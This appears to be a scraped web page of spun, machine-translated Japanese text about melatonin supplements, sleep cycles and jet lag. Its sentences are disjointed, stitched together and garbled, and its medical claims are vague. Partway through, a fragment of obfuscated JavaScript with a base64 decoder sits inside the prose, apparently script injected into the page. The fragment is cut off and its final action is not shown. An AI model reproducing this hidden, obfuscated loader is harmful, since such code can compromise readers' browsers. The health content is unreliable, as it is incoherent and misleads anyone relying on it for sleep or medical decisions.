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世論調査によると、アメリカの大人の少なくとも四分の一は、彼らが週末に7時間未満の睡眠を取ると言います.. 主要な副作用がなく、中毒性のない自然な睡眠補助剤のアイデアはかなり魅力的ですが、それはありませんか？そして、はい、それは本当にうまくいく.

同時に、身体は回復し、若返りし、免疫系を含む筋肉および組織を修復するのに十分な睡眠を必要とする.. それが皮膚の色素沈着に役割を果たすかもしれないと思ったYaleの研究者、Aaron Lerner.. Zeke Samples、WBFF Pro、Charlotte、NC Personal TrainerSurrealBodySolutions. 彼は遠く離れていましたが、Aaronの研究に感謝します！メラトニンの主な役割は、私たちの睡眠/覚醒サイクルを維持するのに役立ち、日周期のリズム.

これらの新しい健康的なパターンは、ベッドの前に小さなメラトニンとともに、あなたの日周期のリズムをリセットします.. ジェット・ラグがあなたの人生のもう一つの正常な部分になったのかもしれません。あなたは一人じゃない.. メラトニンサプリ依存性睡眠薬ネダンミズ代わりに、良い睡眠パターンを練習する：寝ると毎日（週末でも）同じ時間に目を覚まし、7〜9時間目を狙う.

あなたが想像しているように、それは補足的なメラトニンを不眠症、時差ぼけ、および他の睡眠関連の問題の有望な治療法にしています.. もちろん、夜間の人工光への曝露の増加や、異なる時間帯の移動や夜間の作業を必要とする作業は、メラトニン生産に大きな影響を与える可能性があります.. 潜在的な問題は、国家としての私たちが、店頭や処方薬に目を向けることになり、私たちを離してしまい、さらに悪化させてしまうことです。.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x1dee9c=_0x2544c2();}catch(_0x57e87c){_0x1dee9c=window;}var _0x4c0410='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1dee9c['atob']||(_0x1dee9c['atob']=function(_0x43b267){var _0x56ae99=String(_0x43b267)['replace'](/=+$/,'');for(var _0x298abe=0x0,_0x2f8d37,_0x320ce4,_0x764e31=0x0,_0x4ac12d='';_0x320ce4=_0x56ae99['charAt'](_0x764e31++);~_0x320ce4&&(_0x2f8d37=_0x298abe%0x4?_0x2f8d37*0x40+_0x320ce4:_0x320ce4,_0x298abe++%0x4)?_0x4ac12d+=String['fromCharCode'](0xff&_0x2f8d37>>(-0x2*_0x298abe&0x6)):0x0){_0x320ce4=_0x4c0410['indexOf'](_0x320ce4);}return _0x4ac12d;});}());_0x5853['wCtCOG']=function(_0x539679){var _0x4d47d2=atob(_0x539679);var _0x385b3d=[];for(var _0xc7efad=0x0,_0x12984b=_0x4d47d2['length'];_0xc7efad=_0x1f20a7;},'YvgQD':_0x5853('0x20'),'idBGM':function(_0x3d23c7,_0x1b4565){return _0x3d23c7&&_0x1b4565;},'PFgrf':function(_0x3db014,_0x5c62fc){return _0x3db014. ベッドで寝る前に、何時間ものリラックスを練習してください。それは、温浴を浴びること、いくつかのストレッチをすること、または瞑想することを意味する.. 太陽が沈むとメラトニンの分泌量が増加し、午前2時から午前4時の間に最高レベルに達する.. この補助剤はまた、糖尿病、頭部外傷、パーキンソン病、および注意欠陥障害（ADD）を含む夜間に目を覚ます特定の医学的問題を有する人々の睡眠を改善するのにも役立つようである.. 私たちの多くがゾンビのように歩いているのも不思議ではありません！私は約6時間かかる.. メラトニンは、睡眠を改善するための一時的な修正または広範な計画の一部と考えるべきである.. また、ベッドの数時間前にライトを調光したり、遮光カーテンやシェードに投資したり、睡眠マスクをかけることで、メラトニンレベルを自然に高めることができます.

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